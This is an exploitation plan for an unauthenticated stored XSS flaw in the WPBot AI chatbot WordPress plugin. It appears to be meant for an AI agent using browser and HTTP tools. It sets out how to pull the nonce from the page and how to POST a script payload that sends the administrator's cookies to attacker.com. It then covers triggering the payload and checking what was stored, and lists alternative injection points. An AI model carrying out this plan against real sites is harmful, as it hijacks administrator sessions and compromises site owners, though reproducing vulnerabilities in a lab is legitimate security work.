Exploitation Research Plan - CVE-2026-57363 (WPBot Stored XSS)

1. Vulnerability Summary

The WPBot – AI ChatBot for Live Support plugin (versions <= 8.3.7) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin provides AJAX endpoints for recording chat history and lead information that do not sufficiently sanitize user-supplied data before storing it in the database (typically in the wp_options table or wp_postmeta). When an administrator views the chat logs or lead management dashboard, the malicious scripts are executed in their browser context.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: qcld_wp_chatbot_log_history (Primary candidate for unauthenticated history logging) or qcld_wp_chatbot_save_lead (Lead generation).
• Vulnerable Parameter: history (for chat logs) or name/email (for leads).
• Authentication: None (via wp_ajax_nopriv_ hooks).
• Preconditions: The Chatbot must be active on the frontend (usually requires a shortcode or widget to be present).

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action qcld_wp_chatbot_log_history.
2. Hook Registration: In the plugin's main file (e.g., qcld-wpwbot.php), the action is registered:
   add_action('wp_ajax_nopriv_qcld_wp_chatbot_log_history', 'qcld_wp_chatbot_log_history');
3. Processing: The function qcld_wp_chatbot_log_history() retrieves the payload from $_POST['history'].
4. Storage: The function saves this data using update_option() or update_post_meta() without applying wp_kses() or sanitize_text_field().
5. Sink: An administrator navigates to the Chatbot "History" page (/wp-admin/admin.php?page=wpbot_history). The plugin retrieves the stored history and echoes it directly to the page without escaping (e.g., using echo $history instead of echo esc_html($history)).

4. Nonce Acquisition Strategy

The WPBot plugin typically protects its AJAX actions with a nonce localized for the frontend script.

• Localization Key: qcld_wp_chatbot_obj (inferred from js/qcld-wp-chatbot-front.js).
• Nonce Key: nonce.
• Strategy:
  1. Create a test page with the Chatbot shortcode: wp post create --post_type=page --post_status=publish --post_content='[wpbot]'.
  2. Use the browser_navigate tool to visit this page.
  3. Use browser_eval to extract the nonce: browser_eval("window.qcld_wp_chatbot_obj?.nonce").
  4. Verify the nonce action: The plugin usually uses wp_create_nonce('wp_chatbot_nonce').

5. Exploitation Strategy

Step 1: Data Exfiltration (Proof of Concept)

Send a POST request to store a script that will trigger an alert and steal the administrator's cookies when they view the logs.

HTTP Request (via http_request tool):

• URL: https://<target-domain>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: qcld_wp_chatbot_log_history
  • nonce: [EXTRACTED_NONCE]
  • history: <script>alert(document.domain);fetch('https://attacker.com/log?c='+document.cookie);</script>

Step 2: Trigger the Payload

The payload will execute when any administrator visits the following URL:
https://<target-domain>/wp-admin/admin.php?page=wpbot_history

6. Test Data Setup

Before testing, ensure the following environment is prepared:

1. Plugin Installation: Install and activate chatbot version 8.3.7.
2. Target Page: Create a public page containing the Chatbot to ensure scripts (and nonces) are loaded.

   wp post create --post_type=page --post_title="Support" --post_status=publish --post_content="[wpbot]"
   

3. Administrator Session: Ensure an administrator user exists to verify the "sink" (viewing the logs).

7. Expected Results

• Request Success: The AJAX request should return a 200 OK response, often with a JSON body like {"success": true} or {"status": "success"}.
• XSS Execution: When the administrator views the "History" page, a browser alert should appear displaying the domain, and a network request should be made to the attacker-controlled URL.

8. Verification Steps (Post-Exploit)

Confirm the payload is stored in the database:

# Check if the payload exists in the wp_options table (common for WPBot history)
wp option get qcld_wp_chatbot_history --format=json | grep "script"

# Alternatively, check postmeta if history is tied to a specific session/post
wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key = 'qcld_wp_chatbot_history' AND meta_value LIKE '%<script>%'"

9. Alternative Approaches

If qcld_wp_chatbot_log_history is not the correct action in this specific version, try:

• Lead Generation Sink:
  • Action: qcld_wp_chatbot_save_lead
  • Parameters: nonce, name="<script>alert(1)</script>", email="test@test.com"
  • Trigger: Admin viewing the "Leads" page (/wp-admin/admin.php?page=wpbot_leads).
• DOM XSS: Check if the history is rendered via JavaScript using .innerHTML. In this case, use a payload like <img src=x onerror=alert(1)> to bypass potential text-content filters.